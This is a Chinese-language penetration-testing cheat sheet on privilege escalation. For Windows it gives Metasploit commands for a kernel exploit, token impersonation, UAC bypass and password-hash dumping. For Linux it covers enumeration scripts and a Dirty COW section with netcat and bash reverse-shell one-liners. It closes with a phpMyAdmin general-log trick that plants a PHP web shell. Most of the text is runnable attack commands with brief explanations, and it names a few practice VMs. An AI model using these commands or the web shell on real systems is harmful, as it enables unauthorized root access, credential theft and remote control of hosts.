提权姿势

Meterpreter提权

  • exp提权

    溢出提权,也就是exp提权

    溢出提权说白了,就是类似windows系统中出现的一些漏洞,漏洞的种类很多,利用这些系统中存在的漏洞写出的 exp,也就是漏洞利用工具,然后来辅助提权。

    1
    2
    3
    4
    5
    meterpreter > background //先后台运行会话[*] Backgrounding session 1…
    msf > use post/windows/escalate/ms10_073_kbdlayout
    msf > show options
    msf > set session 1 //设置要使用的会话
    msf post(ms10_073_kbdlayout) > exploit

    注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。不过,现在用的Metasploit Framewor使用“migrate”命令会出现“Error running command migrate: NoMethodError undefined method `pid’ for nil:NilClass”的提示

    或者:

    meterpreter > run post/windows/escalate/ms10_073_kbdlayout

  • 盗取令牌

    1
    2
    3
    meterpreter > use incognito //进入这个模块
    meterpreter > list_tokens –u //查看存在的令牌
    meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠

    只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。

  • Bypassuac

    1
    2
    3
    4
    msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
    msf > show options
    msf > set session 4
    msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权
  • Hash

    meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。

Linux提权思路

  • LinEnum

    可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本

    • 隐私访问:判断当前用户是否能够用空口令使用sudo命令,root用户的家目录能否访问。
    • 系统信息:主机名,网络详情,当前IP等等。
    • 用户信息:当前用户,列出所有包含uid/gid的用户信息,列出有root权限的用户,检查密码hash是否保存在/etc/passwd。
    • 内核和发行版详细信息

    克隆脚本:

    git clone https://github.com/rebootuser/LinEnum.git

    执行:

    ./LinEnum.sh

    或者:

    ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

    1
    2
    3
    4
    5
    6
    7
    8
    OPTIONS:

    -k Enter keyword
    -e Enter export location
    -t Include thorough (lengthy) tests
    -s Supply current user password to check sudo perms (INSECURE)
    -r Enter report name
    -h Displays this help text
  • Linuxprivchecker

    枚举系统设置和执行一些提升权限的检查。它由python实现,用来对被控制的系统提供建议的exploits。

    git clone https://github.com/sleventyeleven/linuxprivchecker

    使用:

    python linuxprivchecke.py

    它将会枚举文件和目录的权限和内容。这个脚本和LinEnum工作方式一样而且在关于系统网络和用户方面搜寻的很详细。

  • Linux Exploit Suggester

    它基于操作系统的内核版本号。这个程序会执行“uname -r”来得到系统内核版本号。然后返回一个包含了可能exploits的列表。另外它还可以使用“-k”参数手工指定内核版本。

    git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

    知道内核版本号:

    ./Linux_Exploit_Suggester.pl -k 3.5

    如果不知道就输入 ./Linux_Exploit_Suggester.pl uname –r 来获得内核版本号然后使用上面的命令并把版本号替换成你自己的。然后它就会给出建议的exploits列表。

  • Unix-Privesc-checker

    在UNIX系统上检测权限提升向量的shell脚本。它可以在UNIX和Linux系统上运行。寻找那些错误的配置可以用来允许未授权用户提升对其他用户或者本地应用的权限。它被编写为单个shell脚本所以可以很容易上传和执行。它可以被普通用户或者root用户执行。当它发现一个组可写(group-writable)的文件或目录时,它只标记一个问题如果这个组包含了超过一个的非root成员。

    git clone https://github.com/pentestmonkey/unix-privesc-check.git

    执行:

    unix-privesc-check standard

    或者:

    unix-privesc-check detailed

  • 利用低版本Linux内核漏洞提权

    靶机环境下载 VulnOS

  • 利用低权限用户目录下可被Root权限用户调用的脚本提权

    SUID参考

    靶机环境下载 Mr-Robot

  • 利用环境变量劫持高权限程序提权

    靶机环境下载 PwnLab

  • 脏牛提权

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    # 查看发行版本
    cat /etc/issue
    cat /etc/*-release

    # 查看内核版本
    uname -a

    # searchsploit搜索exploitdb的漏洞利用
    searchsploit linux Debian 4

    # 反弹shell
    ## 安装netcat并开启本地监听
    ## 原生 netcat
    https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
    tar -xvzf netcat-0.7.1.tar.gz
    ./configure
    make && make install && make clean
    nc -lvvp 8080 -t -e /bin/bash

    ## 连接目标主机
    nc 192.168.1.1 8000

    # bash反弹
    bash -i >& /dev/tcp/192.168.1.1/8080 0>&1

    # 连接
    nc -l -p 8080

    # bash详解
    bash -i 产生bash交互环境
    >& 前后内容结合,重定向到后者
    /dev/tcp/192.168.1.1/8080 linux文件存储形式,让主机和目标主机1.1建立一个TCP连接
    0>&1 将标准输入输出重定向给前面的标准输出

    # 相关Linux一句话反弹shell
    参考 https://www.anquanke.com/post/id/87017

    # 脏牛提权
    参考 https://blog.csdn.net/nzjdsds/article/details/82935189

PHP

  • 拿下phpmyadmin shell

    知道路径并执行

    1
    2
    3
    4
    5
    set global general_log='on';

    SET global general_log_file='D:/webshell/www/cmd.php';

    SELECT '<?php assert($_POST["cmd"]);?>';
0%